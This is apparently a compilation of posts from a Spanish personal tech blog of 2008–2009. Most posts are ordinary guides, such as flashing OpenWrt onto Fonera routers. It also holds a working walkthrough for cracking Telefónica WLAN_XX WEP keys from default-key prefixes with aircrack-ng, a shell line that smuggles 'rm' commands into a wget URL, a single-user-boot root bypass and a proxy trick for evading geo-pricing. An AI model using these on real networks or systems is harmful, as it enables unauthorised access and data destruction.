wget http://www.google.com/webhp?cuidadooorrr&rm -i *&"&rm -i *&"'&rm -i *&'
se puede convertir en una putadilla. Incluso escapando con comillas dobles o simples te la mete.
Prometo no volver a hacerlo sin revisarlo antes, o hasta que Javi me diga cómo evitarlo.
ACTUALIZACION 20090620:
La solución es:
wget "$(read x; echo "$x")"
Lo primero fue comprobar si al otro lado del charco pagan las mismas cantidades pero en dólares, para ello bastó con buscar en Google la página de subscripción: "http://megaupload.com/?c=premium" y ver el cache. En realidad esto dependería de la IP desde donde el bot de Google se dedique a rastrear, ya que Megaupload geolocaliza a los usuarios según la IP de origen. El caso es que funciona, y se ve que en la página cacheada se paga en dólares.
Para pasar al registro hay que utilizar un proxy anónimo, por ejemplo como los que se listan en: Proxy 4 Free. En Firefox se configuran en: Editar -> Preferencias -> Avanzado -> Red -> Configuración... -> Configuración manual de proxy. Hay que ir probando hasta encontrar alguno que funcione, y que no sea de Europa.
Lo recomendable es no navegar por ningún otro sitio mientra se usa el proxy porque puede trastear con tu tráfico, excepto si es https. E incluso podría ser interesante utilizar otro usuario de sistema para esto y luego eliminarlo, porque vete a saber de quien son esos proxys.
Por seguridad lo mejor es hacerse miembro gratuito antes de usar el proxy y luego pagarlo a través del proxy, vigilando que los datos del pago son los correctos.
Otro problema que puede aparecer es que dado que el servicio que se paga se vuelve a utilizar también por Internet podría ser que bloqueasen el acceso a la zona geográfica desde donde se pagó, por eso probé antes a pagar un mes y ver si luego me bloqueaban desde aquí y no hay problema.
El proceso es general y debería funcionar para otros servicios que se pagen según la IP de origen, siempre teniendo en cuenta las consideraciones anteriores. Por último señalar que el método no funciona para Rapidshare, ya que se paga siempre, se esté donde se esté en euros.
ACTUALIZACION 20090509: Una línea de bash para probar los proxy, que a veces cuesta encontrar alguno que funcione:
while read -p "ip port? " proxy; do http_proxy=$(echo http://$proxy | tr " " ":") curl myip.es | lynx -dump -stdin | head -n 20; done
y luego se introduce la dirección del proxy y el puerto:
ip port? 202.54.61.101 8080
Referencias:
Cuando me llegó, me puse a investigar más a fondo en una wiki que han montado para el tema. Por lo visto hay varios modelos que aunque por fuera son iguales, por dentro cambian, así que tras desmontarla ví que el microcontrolador que utiliza no está soportado, un Appotech AX203.
Para estos modelos no soportados tienen una página en la que comentan que el chip no está documentado, pero que sus especificaciones son "sospechosamente" parecidas a las de otro, el CPF5102, que si está documentado. También tienen el volcado del otro chip que tiene, una memoria Flash serie.
Tras esto estuve mirando el volcado de la memoria, en el que se identifican varias partes: algo que parece el firmware, una imagen ISO con los drivers para Windows que aparece al enchufar el cacharro, y luego varios bitmap de números y otras cosas y al final parece que irían las fotos que se guarden.
Tras identificar que la arquitectura del microcontrolador es la mítica 8051, desensamblé lo que parecía se el firmware, pero no había forma de ver que eso fuera código de verdad.
Por último pase a ver el datasheet del microcontrolador y ver los modelos de memoria que soporta. Para el codigo puede utilizar memoria OTP (programable una sola vez) o memoria externa a través de un bús de dirección y de datos, pero no através de una memoria serie, que es la única que hay. Así que no hay forma de que hubiera codigo en la flash y entonces todo el código debe estar en la memoria OTP interna del micro.
Por eso no hay forma de ver el código, y menos de poder modificarlo por lo que no hay forma de poder toquetear el firmware para poder mostrar la imágenes que se quiera. Chofff!! Al menos lo he añadido en la página de la wiki.
La verdad es que es una pena, porque el MCU está muy completo, con USB 2.0, puertos serie, reloj, ADCs, ... Además la PCB trae una batería, recargable por USB, y varios interruptores. Estaría chulo para poder toquetearlo y montar proyectitos de electrónica de forma fácil.
El caso es que mirando en la wiki parece que la única forma de diferenciar el modelo Appotech del que sí es modificable es que sean los que incluyen los drivers en un CD aparte. Así que ya me he pedido otro para ver si le puedo meter mano.
Referencias:
Esta tarde al ver que la cosa seguía igual me decidí a ver que es lo que estaba pasando. Pues procedí a usar el Tamper Data y lo que me encontré es que en la petición figuraba un campo "fechas" a "on", y no había ninguno otro que hiciera referencia a las fechas.
El formulario correspondiente a la selección del rango de fechas era:
y viendo su código:
<legend><span>¿Qué facturas necesitas?</span></legend>
<label for="r1"><input class="radioInput" name="fechas" id="r1" value="10/2008" checked="true" onclick="javascript:ocultarSelect(true);" type="radio">Última factura</label>
<label for="r2"><input class="radioInput" name="fechas" id="r2" value="10/2008;09/2008;08/2008" onclick="javascript:ocultarSelect(true);" type="radio">Tres últimas facturas</label>
<div class="duplicado">
<input name="fechas" class="radioInput" id="r3" onclick="javascript:ocultarSelect(false);" type="radio">
<label for="desde">Desde
<select disabled="disabled" id="desde">
<option value="09/2008">Septiembre 2008</option>
<option value="08/2008">Agosto 2008</option>
<option value="07/2008">Julio 2008</option>
<option value="06/2008">Junio 2008</option>
</select>
</label>
<label for="hasta">Hasta
<select disabled="disabled" id="hasta">
<option value="09/2008">Septiembre 2008</option>
<option value="08/2008">Agosto 2008</option>
<option value="07/2008">Julio 2008</option>
<option value="06/2008">Junio 2008</option>
</select>
</label>
</div>
se ve que los selectores "desde" y "hasta" realmente no tienen atributo name, por lo que no forman parte de los datos del formulario, siendo el único que aparece "fecha", pero solo en las opciones de última factura o tres últimas. En esta última se ve que el valor que le da fecha es "10/2008;09/2008;08/2008".
Una vez visto esto fue simplemente cambiar el valor de fecha de "on" a "10/2008;09/2008;08/2008;07/2008;06/2008" y la respuesta fue correcta. Ahora solo hay que esperar a ver si realmente, esta vez, me llegan las facturas.
El problema parece que debe ser de JavaScript, supongo que su código no estará preparado para Firefox. También cabe la posibilidad de que no quieran que la gente pida facturas más allá de las tres últimas.
Para sacarle todo el provecho a las Foneras lo mejor es ponerle el firmware genérico en el que se basa Fon, que es el OpenWrt. Además están a punto de sacar la versión 8.09.
20090720 ADVERTENCIA: Las nuevas Foneras que están enviando (al menos la 2) parece que tienen el Reboot por red capado. Así que no se puede instalar el OpenWrt, al menos no como describo.
Todas las Foneras vienen con el gestor de arranque RedBoot, que además se encarga del particionado de la flash y desde donde se puede flashear la memoria interna. El acceso al gestor se puede realizar o por puerto serie, o por red, siendo este último sistema el más como y es el que se va a comentar.
En los primeros modelos el acceso por red estaba capado por lo que era necesario acceder por puerto serie o utilizar algún fallo de seguridad para poder habilitarlo. Pero desde hace ya bastante tiempo todas vienen con el acceso por red totalmente funcional.
Lo primero es conectar la fonera a la red, o directamente a un PC. Es indiferente que los cables sean cruzados o no, y en las Foneras con dos puertos se puede usar cualquiera de ellos.
Con lo que sí hay que tener cuidado es que la IP que utiliza para arrancar es la 192.168.1.1 que puede interferir con algún otro equipo que esté haciendo de puerta de enlace. Una posibilidad es una vez accedido al RedBoot cambiar esta IP por la 192.168.1.254 de forma que en el futuro no moleste al arrancar.
Desde el PC se necesita un servidor de tftp para transferir las imágenes a flashear. Desde Debian:
$ sudo aptitude install tftpd
$ sudo mkdir /srv/tftp
$ sudo chmod 1777 /srv/tftp # Permisos al estilo /tmp
Por si no estaba arrancado el demonio de inetd (si no se usa para otro servicio) lo lanzamos:
$ sudo /etc/init.d/openbsd-inetd restart
A la hora de descargar las imágenes de OpenWrt hay que tener en cuenta que la Fonera + y la 2.0 necesitan una versión moderna.
Kamikaze 7.09, es la última estable: Solo soporta fonera 1.x
http://downloads.openwrt.org/kamikaze/7.09/atheros-2.6/openwrt-atheros-2.6-vmlinux.lzma
http://downloads.openwrt.org/kamikaze/7.09/atheros-2.6/openwrt-atheros-2.6-root.squashfs
Kamikaze 8.09 RC1, es la preeliminar: Soporta todas #4213
http://downloads.openwrt.org/kamikaze/8.09_RC1/atheros/openwrt-atheros-vmlinux.lzma
http://downloads.openwrt.org/kamikaze/8.09_RC1/atheros/openwrt-atheros-root.squashfs
Snapshot: Soporta todas
http://downloads.openwrt.org/snapshots/atheros/openwrt-atheros-vmlinux.lzma
http://downloads.openwrt.org/snapshots/atheros/openwrt-atheros-root.squashfs
Yo estoy utilizando los snapshots hasta que salga la 8.09 definitiva:
$ cd /srv/tftp
$ wget http://downloads.openwrt.org/snapshots/atheros/openwrt-atheros-vmlinux.lzma
$ wget http://downloads.openwrt.org/snapshots/atheros/openwrt-atheros-root.squashfs
ACTUALIZACION 20090416: Ya hace tiempo que ha salido la 8.09:
$ cd /srv/tftp
$ wget http://downloads.openwrt.org/kamikaze/8.09/atheros/openwrt-atheros-vmlinux.lzma
$ wget http://downloads.openwrt.org/kamikaze/8.09/atheros/openwrt-atheros-root.squashfs
ACTUALIZACION 20090607: Acaba de salir la 8.09.1:
$ cd /srv/tftp
$ wget http://downloads.openwrt.org/kamikaze/8.09.1/atheros/openwrt-atheros-vmlinux.lzma
$ wget http://downloads.openwrt.org/kamikaze/8.09.1/atheros/openwrt-atheros-root.squashfs
$ sudo ip add add 192.168.1.2/24 dev eth0
$ sudo aptitude install iputils-arping
Además hay que configurar telnet para que pase a modo linea y permita enviar Ctrl+C:
$ echo -e "192.168.1.1\n\tmode line" >> ~/.telnetrc # Si no se había configurado antes
o si se le ha cambiado la IP al redboot, cambiarla por la que sea.
Con todo esto preparado, desde el PC, lanzamos el comando:
$ arping -qf 192.168.1.1; sleep 1; telnet 192.168.1.1 9000
y enchufamos la alimentación a la Fonera, y en cuanto se conecte el telnet pulsamos Ctrl+C:
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
== Executing boot script in 0.210 seconds - enter ^C to abort
^C
RedBoot>
lo normal es que a la primera no salga y haya que probar varias veces.
Una vez que se ha accedido al RedBoot pasamos a flashear.
Primero configuramos el acceso al servidor tftp (la IP tiene que cambiarse a la del PC):
RedBoot> ip_address -h 192.168.1.2
IP: 192.168.1.1/255.255.255.0, Gateway: 0.0.0.0
Default server: 192.168.1.2
y comprobamos que hay comunicación:
RedBoot> ping -h 192.168.1.2
Network PING - from 192.168.1.1 to 192.168.1.2
PING - received 10 of 10 expected
Reinciamos las particiones de la flash (10s):
RedBoot> fis init
About to initialize [format] FLASH image system - continue (y/n)? y
*** Initialize FLASH Image System
... Erase from 0xa87e0000-0xa87f0000: .
... Program from 0x80ff0000-0x81000000 at 0xa87e0000: .
Y cargamos el kernel desde el PC a memoria usando TFTP (según la version de OpenWrt que se use el nombre del archivo puede ser distinto):
RedBoot> load -r -b %{FREEMEMLO} openwrt-atheros-vmlinux.lzma
Using default protocol (TFTP)
Raw file loaded 0x80040400-0x801003ff, assumed entry at 0x80040400
Y lo flasheamos (2m-5m):
RedBoot> fis create -e 0x80041000 -r 0x80041000 vmlinux.bin.l7
... Erase from 0xa8030000-0xa80f0000: ............
... Program from 0x80040400-0x80100400 at 0xa8030000: ............
... Erase from 0xa87e0000-0xa87f0000: .
... Program from 0x80ff0000-0x81000000 at 0xa87e0000: .
Cargamos la imagen del sistema de archivos (nombre dependiente de la versión de OpenWrt):
RedBoot> load -r -b %{FREEMEMLO} openwrt-atheros-root.squashfs
Using default protocol (TFTP)
Raw file loaded 0x80040400-0x801c03ff, assumed entry at 0x80040400
Pero antes de flashearla necesitamos saber el espacio libre que queda en la flash:
RedBoot> fis free
0xA80F0000 .. 0xA87E0000
con lo que lanzamos desde el PC la línea:
$ echo -n "fis free? "; read FF; echo -n "0x"; echo "obase=16;ibase=16;-$FF" | sed -e "s/0x//g;s/\.\./+/" | bc
fis free? 0xA80F0000 .. 0xA87E0000
0x6F0000
e introducimos el resultado del fis free. Y el número resultante es la memoria libre.
Y ahora lo flasheamos, con el tamaño de la memoria libre obtenido anteriormente (4m-11m):
RedBoot> fis create -l !!!MEMORIALIBRE!!! rootfs
... Erase from 0xa80f0000-0xa87e0000: ...............................................................................................................
... Program from 0x80040400-0x801c0400 at 0xa80f0000: ........................
... Erase from 0xa87e0000-0xa87f0000: .
... Program from 0x80ff0000-0x81000000 at 0xa87e0000: .
Por último en la Fonera+ y 2.0 han cambiando el script de arranque, por lo que habrá que modificarlo para que el sistema arranque bien. El que debería ser se ve con:
RedBoot> fconfig -l
Run script at boot: true
Boot script:
.. fis load -l vmlinux.bin.l7
.. exec
Boot script timeout (1000ms resolution): 2
Use BOOTP for network configuration: false
Gateway IP address: 0.0.0.0
Local IP address: 192.168.1.1
Local IP address mask: 255.255.255.0
Default server IP address: 0.0.0.0
Console baud rate: 9600
GDB connection port: 9000
Force console for special debug messages: false
Network debug at boot time: false
si no es así habrá que modificarlo con:
RedBoot> fconfig boot_script_data
boot_script_data:
.. fis load loader
.. exec
Enter script, terminate with empty line
>> fis load -l vmlinux.bin.l7
>> exec
>>
Update RedBoot non-volatile configuration - continue (y/n)? y
... Erase from 0xa87e0000-0xa87f0000: .
... Program from 0x80ff0000-0x81000000 at 0xa87e0000: .
Y con esto ya está listo, solo queda resetear y cruzar los dedos:
RedBoot> reset
$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
=== IMPORTANT ============================
Use 'passwd' to set your login password
this will disable telnet and enable SSH
------------------------------------------
BusyBox v1.11.2 (2008-10-24 04:41:51 PDT) built-in shell (ash)
Enter 'help' for a list of built-in commands.
_______ ________ __
| |.-----.-----.-----.| | | |.----.| |_
| - || _ | -__| || | | || _|| _|
|_______|| __|_____|__|__||________||__| |____|
|__| W I R E L E S S F R E E D O M
KAMIKAZE (bleeding edge, r13042) -------------------
* 10 oz Vodka Shake well with ice and strain
* 10 oz Triple sec mixture into 10 shot glasses.
* 10 oz lime juice Salute!
---------------------------------------------------
root@OpenWrt:/#
Tras lo que se le pone un password:
root@OpenWrt:/# passwd
Changing password for root
New password:
Retype password:
Password for root changed by root
root@OpenWrt:/# exit
y ya se puede entrar por ssh (después de esperar un rato, mientras crea las identidades):
david@davix:~$ ssh root@192.168.1.1
root@192.168.1.1's password:
BusyBox v1.11.2 (2008-10-24 04:41:51 PDT) built-in shell (ash)
Enter 'help' for a list of built-in commands.
_______ ________ __
| |.-----.-----.-----.| | | |.----.| |_
| - || _ | -__| || | | || _|| _|
|_______|| __|_____|__|__||________||__| |____|
|__| W I R E L E S S F R E E D O M
KAMIKAZE (bleeding edge, r13042) -------------------
* 10 oz Vodka Shake well with ice and strain
* 10 oz Triple sec mixture into 10 shot glasses.
* 10 oz lime juice Salute!
---------------------------------------------------
root@OpenWrt:~#
También puede resultar conveniente reconfigurar la IP que tiene el OpenWrt para lo cual hacemos:
root@OpenWrt:~# vi /etc/config/network
y configuramos los parámetros: ipaddr, gateway y dns del interfaz lan para poder acceder a Internet. Por ejemplo:
config interface lan
option type bridge
option ifname eth0
option proto static
option ipaddr 192.168.2.99
option netmask 255.255.255.0
option dns "80.58.61.250 80.58.61.254"
option gateway 192.168.2.1
Cuidado con fastidiarla aquí porque sin acceso hay que volver a flashear arrancar con el reset pulsado y ...
root@OpenWrt:~# /etc/init.d/network restart
Además de los comandos utilizados para flashear existen otros interesantes. Basicamente RedBoot gestiona el particionado de la flash guardando para cada una: nombre, dirección en la flash, dirección para cargar en memoria y punto de entrada (estas dos últimas solo se usan en el fis load para el kernel). Se puede ver con el comando:
RedBoot> fis list
Name FLASH addr Mem addr Length Entry point
RedBoot 0xA8000000 0xA8000000 0x00030000 0x00000000
vmlinux.bin.l7 0xA8030000 0x80041000 0x000C0000 0x80041000
rootfs 0xA80F0000 0x80040400 0x006F0000 0x80040400
FIS directory 0xA87E0000 0xA87E0000 0x0000F000 0x00000000
RedBoot config 0xA87EF000 0xA87EF000 0x00001000 0x00000000
Se ve la primera partición que es la correspondiente al propio RedBoot, que se carga al encender la Fonera, también se ven las dos últimas en las que guarda la tabla de las partiones (que a su vez es lo que muestra fis list) y la partición de configuración del RedBoot.
Las otras dos particiones corresponden con el kernel y con el sistema de archivos. En el firmware original de Fon se incluye otra que es el espacio libre del sistema de archivos y que se monta superpuesto al original, de esta forma al pulsar el reset durante el arranque se borra esta partición y queda de fábrica. Con OpenWrt esto no está preparado para eso y lo que se hace es extender la partición del sistema de archivos a todos el espacio libre, por eso lo de las cuentas al flashear.
Los datos de configuración de RedBoot se pueden ver con:
RedBoot> fconfig -l
Run script at boot: true
Boot script:
.. fis load -l vmlinux.bin.l7
.. exec
Boot script timeout (1000ms resolution): 2
Use BOOTP for network configuration: false
Gateway IP address: 0.0.0.0
Local IP address: 192.168.1.1
Local IP address mask: 255.255.255.0
Default server IP address: 0.0.0.0
Console baud rate: 9600
GDB connection port: 9000
Force console for special debug messages: false
Network debug at boot time: false
Se puede ver el script de arranque, que consiste en cargar la particion del kernel en memoria y despues ejecutarlo. Si luego se ve el arranque del kernel es él el que una vez funcionando busca en la flash las particiones y carga la del sistema de archivos.
Tambien se puede ver otros parámetros como el tiempo de espera en el arranque, IP del RedBoot (cuidado con cambiarla que si no es accesible se pierde el acceso por red al RedBoot) y del servidor por defecto... Todos estos se pueden cambiar con el comando fconfig.
Desde el punto de vista hardward se puede ver:
RedBoot> version
RedBoot(tm) bootstrap and debug environment [ROMRAM]
OpenWrt certified release, version 1.1 - built 12:40:38, Sep 3 2007
Copyright (C) 2000, 2001, 2002, 2003, 2004 Red Hat, Inc.
Board: FON 2202
RAM: 0x80000000-0x82000000, [0x80040290-0x80fe1000] available
FLASH: 0xa8000000 - 0xa87f0000, 128 blocks of 0x00010000 bytes each.
que indica donde se tiene la memoria RAM y la FLASH. En este modelo, al ser una Fonera 2.0 se dispone de 32MB de RAM y los 8MB de flash, que la que tienen todas. Se puede ver que la memeria tiene partes ocupadas por el propio RedBoot, y que el espacio libre empieza en 0x80040290, que redondeando a 0x80041000 es el punto de entrada que se configuró en la imagen del kernel. Este último valor es el que está configurado en el alias %{FREEMEMLO}.
Si se quiere cambiar de forma fija la MAC se puede hacer con:
RedBoot> set -mac 00:18:84:ab:cd:ef
Chang Lan Mac address to : 00:18:84:ab:cd:ef
Chang Wlan Mac address to : 00:18:84:ab:cd:f0
se ve que para todos los puertos ethernet solo existe una MAC, lo cual puede ser problemático y la Wifi es la siguiente. También se puede cambiar el número de serie y una clave que no se que es.
Hay más comandos que se pueden consultar con "help" o mirando en la Guía de usuario de RedBoot.
Referencias:
Al fin está ya disponible la nueva Fonera 2.0. Ésta incluye además del puerto Ethernet extra de la Fonera+, un puerto USB... lo que abre un mundo infinito de posibilidades... ohhhh...
Así que no he podido esperar más y antes de que se acaben me he pedido una, que entre unas cosas y otras sale por unos 50€.
Por el lado malo está que al menos con el firmware de FON no se puede utilizar el USB, pero para eso está OpenWRT, que creo que ya trae soporte. Será cuestión de probarlo.
Por mi parte lo primero que intentaré será probar un dongle USB para ver si me puedo conectar con el movil.
Si tú tampoco puesdes esperar más aquí esta el enlace a la tienda: FON SHOP
Tenía unos libros en PDF escaneados, que me estaban matando, porque cada vez que quería pasar de página tenía que esperar una eternidad. He probado a pasarlos a DjVu y la cosa es espectacular.
Ahora lo que tarda en arrancar el evince y mostrar la primera página ha pasado de 7s a 1'7s. Esto en parte es lógico teniendo en cuenta que este formato esta pensado presiamente para eso: texto escaneado. Además el tamaño se ha reducido a la mitad de 13MB a 6MB (y sin pérdidas).
A continuación dejo un pequeño script para pasar PDFs escaneados en blanco y negro a DjVu's: pdf-mono-scan2djvu (necesita los paquetes: xpdf-reader, xpdf-utils, netpbm y djvulibre-bin).
Actualización 20090317: En Lenny han metido un paquete pdf2djvu, habrá que probarlo.
Los de Stanford están empezando a publicar vídeos y materiales de algunas asignaturas sobre informática, inteligencia atificial y sistemas lineales:
Stanford Engineering Everywhere
No he podido resistirme a recordar esas clases con nuestro amigo Fourier y me he tragado ya dos clases. Ohh, aquello si que era vida.
Bootlogd, es una pequeña utilidad, que por defecto viene desactivada, y permite guardar los mensajes que salen durante el arranque producidos por los scripts de arranque (/etc/init.d/*).
Para activarla basta con modificar el archivo /etc/default/bootlogd a:
BOOTLOGD_ENABLE=YES
y los resultado del arranque se guardarán en el archivo /var/log/boot.
De esta forma podemos ver todos los mensajes de arranque en los archivos:
ErVideoClus es un proyecto en que he estado trabajando últimamente. Su objetivo es poder ver películas de descarga directa mientras se bajan, sin necesidad de esperar a que se hayan terminado de bajar totalmente.
Actualmente a las velocidades a las que se puede descargar desde Internet son mayores que las que necesita un video, por lo que si tiene cuenta en RapidShare y una buena conexión a Internet, te recomiendo que lo pruebes, con 3Mb va bien.
La herramienta está en una versión muy primitiva, no dispone de entorno gráfico, y se configura modificando parámetros en un script.
Requisitos:
Para probar la aplicación: http://code.google.com/p/elparaito/wiki/ErVideoClus
Date: Thu, 17 Jul 2008 23:52:33 +0600
From: Eugene Roshal
To: "elparaito"
Subject: Re: Bug in rdwrfn.cpp
Hello,
We'll change it. Thank you.
Eugene
> I have found a little bug in last source code of unrarsrc-3.8.2.
> It may not apply ever in current version. But it arose when I was making
> some changes in other parts of source code.
> It is about applying CRC to a block using the size told to read, but not the
> actually read.
> A patch is attached.
> diff -Naur unrar.orig/rdwrfn.cpp unrar/rdwrfn.cpp
> --- unrar.orig/rdwrfn.cpp 2008-06-15 12:42:13.000000000 +0000
> +++ unrar/rdwrfn.cpp 2008-07-17 16:58:40.000000000 +0000
> @@ -59,7 +59,7 @@
> RetCode=SrcFile->Read(ReadAddr,ReadSize);
> FileHeader *hd=SubHead!=NULL ? SubHead:&SrcArc->NewLhd;
> if (hd->Flags & LHD_SPLIT_AFTER)
> - PackedCRC=CRC(PackedCRC,ReadAddr,ReadSize);
> + PackedCRC=CRC(PackedCRC,ReadAddr,RetCode);
> }
> CurUnpRead+=RetCode;
> TotalRead+=RetCode;
El fallo ocurria cuando se pide leer de un archivo un bloque de cierto tamaño, que puede que lo lea o lea menos, pero luego al procesarlo suponían que lo leía entero en vez de lo que realmente había leido.
De todas formas parece que lo normal es que lo lea todo, pero nunca se sabe... Por ejemplo en mi modificación no pasaba eso, y por culpa del bug luego acababa fallando el CRC.
Ya lo se, es una estupidez, pero me hace gracia.
Como realmente los archivos de /tmp se borran al arrancar, basta con arrancar el sistema sin que lanze nada y mover los archivos a otro sitio:
# exec /sbin/init
Evidentemente este truco también se puede utilizar si se pierde el password de root, o para entrar en un equipo por toda la cara, por lo que a continuación presento:
Contramedidas
Para evitar que puedan entrar en nuestro equipo, sin necesidad de al menos un liveCD, que siempre hay alguna forma, basta con añadirle una clave de acceso a los menues del GRUB:
$ /usr/sbin/grub-md5-crypty añadimos en las opciones globales:
Password:
Retype password:
$1$JjsRb$yq4pULUpy72WgmiyIY1t40
$ sudo vi /boot/grub/menu.lst
password --md5 $1$JjsRb$yq4pULUpy72WgmiyIY1t40Entrada dedicada con cariño a Juanlu.
Parece que ya va siendo hora de pasarse a Lenny, pero mientras tanto ya he conseguido instalar Zattoo. Aunque el paquete que hay en la web se supone que es para Etch falla una dependecia con dbus-x11. Para solucionarlo solo hace falta hacer un backport del paquete dbus:
$ sudo aptitude install build-essential fakeroot
$ cd /tmp
$ wget http://ftp.de.debian.org/debian/pool/main/d/dbus/dbus_1.2.1{.orig.tar.gz,-2.diff.gz,-2.dsc}
$ dpkg-source -x dbus_1.2.1-2.dsc
$ cd dbus-1.2.1
$ dpkg-checkbuilddeps
$ sudo aptitude install cdbs libselinux1-dev ...
$ dpkg-buildpackage -uc -b -rfakeroot
$ cd ..
$ sudo dpkg -i dbus_1.2.1-2_i386.deb dbus-x11_1.2.1-2_i386.deb libdbus-1-3_1.2.1-2_i386.deb
Tras esto ya se puede instalar bien el paquete de Zattoo:
$ cd /tmp
$ http://download.zattoo.com/zattoo-3.2.1.14137-i386.deb
$ sudo dpkg -i zattoo-3.2.1.14137-i386.deb
Y a aprovechar para ver un poco el canal de "Aprenda Inglés TV", que está curioso aunque sea solo para tenerlo de fondo e ir cogiendo algo de oido.
A la hora de hacer la renta estuve buscando si ya por fin habían portado el programa PADRE a Linux, pero nada. Pero lo que sí que encontré es un blog en el que se comenta el proceso para, a través de un cliente Citrix, conectarse a los servidores de Hacienda y lanzar el programa desde allí, (que ellos pagan las licencias).
La entrada es muy útil, aunque encontré algunos problemas a la hora de hacer las cosas desde Debian:
Biblioteca libmotif3
El cliente Citrix necesita tener instaladas algunas librerías, por lo que se necesita el paquete libmotif3. En Sid no hay problema, ya que está en el repositorio non-free, pero en Etch, que es la que uso no está disponible. Asi que tuve que hacer un backport del paquete de Sid, ahí lo dejo:
Para Lenny puede que funcione el mismo paquete o haya que hacer un backport.
Descarga de datos
Otro de los problemas con los que me encontré fue a la hora de descargar los datos fiscales. Hay que descargarlos con anterioridad, ya que el programa PADRE en remoto no lo permite.
Para ello se va a la Agencia Tributaria -> Oficina Virtual -> Otras Opciones -> Descarga de datos fiscales (solo Mozilla-Firefox) y ahí ya se puede elejir entre utilizar el número de referencia si te ha llegado una carta o usar el certificado de usuario.
El problema viene de que en Debian se ha modificado Firefox y ahora es Iceweasel, y lo peor es que también se ha modificado el identificador del navegador. Para que en Hacienda se den cuenta de que sigue siendo Firefox hay que cambiarlo. Para ello desde el Iceweasel se entra en:
y cambiamos la entrada "general.useragent.extra.firefox" que contiene "Iceweasel/2.0.0.14" por "Firefox/2.0.0.14". Con esto ya no habrá problemas para descargar los datos.
Intrucciones globales
Tras estos retoques iniciales se pueden seguir sin problema las instrucciones en el blog:
Declaración de la Renta 2007 desde Linux
Refencias
Actualización: Al final mi banco no se tragaba el archivo 100, y lo he tenido que hacer en Windows. Que humillación!! Y que chapuza por parte del banco o de hacienda, que el formato 100 no es compatible.
#!/bin/bash
HISTFILE=~/.script_history
history -r
trap "history -w; exit" INT TERM EXIT
while read -ep ">> " line; do
history -s "$line"
echo $line
done
Con esto a medida que vamos introduciendo líneas podemos usar la funcionalidad de readline, como subir y bajar por el historial.
Referencias
Estaba leyendo "Dive into Python" y por eso de practicar el inglés lo estoy leyendo de verdad, cuando tengo ganas. Así que cuando dudaba en la pronunciación de alguna palabra me metia en:
siendo este último el que casi siempre tenía la pronunciación.
Además, como el navegador no me reproduce bién los sonidos, pues me puse a automatizar el proceso, resultando la siguiente línea de comandos:
mkdir /var/tmp/wav
WORD=fuck; DIR=/var/tmp/wav; PLAYER=beep-media-player; wget $(curl http://mw4.m-w.com$(curl http://mw4.m-w.com/dictionary/$WORD | grep -o "<a href=\"javascript:popWin('/cgi-bin/audio.pl?[^']*')\" class=\"audio\">" | grep -o "/[^']*" | head -n 1) | grep -o "<EMBED SRC=\"http://cougar.eb.com/[^\"]*\" HIDDEN=\"true\" AUTOSTART=\"true\">" | grep -o "http://[^\"]*") -O $DIR/$WORD.wav; $PLAYER $DIR/$WORD.wav
los valores configurables son la palabra a buscar, el directorio donde se almacena (que ya tiene que estár creado) para revisar las palabras que hemos buscado, y el reproductor de audio.
Se puede mejorar bastante: detectar que ya se ha bajado antes, avisar de que no existe la palabra o la pronunciación, ver si hay varias palabras, probar en otros diccionarios... pero bueno, eso ya cuando sepa Python.
Nota 1: para copiar la línea he tenido que darle bastantes vueltas, por eso de que tiene HTML mezclado con caracteres de escape, hasta encontré Quick Escape, que escapa el HTML y haciendo algunos retoques listo.
Nota 2: el editor del blogspot es un poco mojonero.
Gracias a la información proporcionada por Abel, acabo probar un ataque muy sencillo para las redes wifi. El ataque se basa en las claves por defecto de las redes wifi de Telefónica del tipo WLAN_XX, sobre algunas capturas que se realicen.
Primero seleccionamos el punto de acceso al que le vamos a realizar el ataque, que tiene que ser del tipo WLAN_XX:
# iwlist ath0 scan
ath0 Scan completed :
...
Cell 05 - Address: 00:13:49:AB:12:CD
ESSID:"WLAN_21"
Mode:Master
Frequency:2.412 GHz (Channel 1)
Quality=27/70 Signal level=-68 dBm Noise level=-95 dBm
Encryption key:on
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 22 Mb/s
6 Mb/s; 9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s
36 Mb/s; 48 Mb/s; 54 Mb/s
Extra:bcn_int=100
...
y además la MAC debería figurar en la tabla de más adelante.
Para obtener las capturas utilizamos:
airodump-ng --bssid 00:13:49:AB:12:CD -w captura ath0
y esperamos a que capture algunos paquetes, hará falta que haya algún cliente conectado. Con esto ya lo tenemos lo que encesitamos.
Las claves por defecto están formadas por un prefijo, en función de la MAC del punto de acceso:
| Prefijo MAC | Prefijo clave | Modelo |
| 00:60:B3 | Z001349 | Z-com |
| 00:A0:C5 | Z001349 | Zyxel 650HW/660HW |
| 00:13:49 | Z001349 | P-660HW-D1 |
| 00:01:38 | X000138 | Xavi 7768r |
| 00:03:C9 | C0030DA | Comtrend 535 |
| 00:16:38 | C0030DA | Comtrend 536+ |
| 00:19:15 | C0030DA | Comtrend 536+ |
| 00:30:DA | C0030DA | Comtrend 536+ |
| 00:1A:2B | C001D20 | Comtrend 536+ |
| 00:1D:20 | C001D20 | Comtrend 536+ |
| 00:02:CF | Z0002CF | ZyGate |
| 00:19:CB | Z0002CF | ZyGate |
y un sufijo que son los dos últimos caracteres del ESSID. Por último quedan 4 dígitos hexadecimales que se deconocen, por lo que habrá que generar todas las posibles combinaciones, que son solo 65536.
Para una MAC=00:13:49:AB:12:CD con nombre WLAN_21 sería Z001349????21, y el diccionario lo crearíamos con:
PRE=Z001349; WLAN=21; seq 0 $((2**16-1)) | xargs printf "$PRE%04X$WLAN\n" > diccionario.txt
Y ya se puede pasar a realizar el ataque con:
aircrack-ng -w diccionario.txt captura-01.cap
que tarda nada y menos en dar la clave: Z0013495ADB821.
Si no hay suerte seguramente es porque la clave la han cambiado, aunque eso sería muy extraño.
ACTUALIZACIÓN: La versión 1.0beta (puede que otras también) parece que da problemas a la hora de ataques de diccionario, e ignora esa opción pasando directamente a hacer el ataque típico. Se ve porque además de tardar tiempo se pone a probar claves:
Opening captura-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 1202 ivs.
Aircrack-ng 1.0 beta1
[00:00:03] Tested 467424 keys (got 1202 IVs)
KB depth byte(vote)
0 0/ 1 31(3072) 61(2816) 93(2816) 07(2560) 3E(2560)
1 0/ 1 F2(3072) 08(2816) 46(2816) 6C(2816) 10(2560)
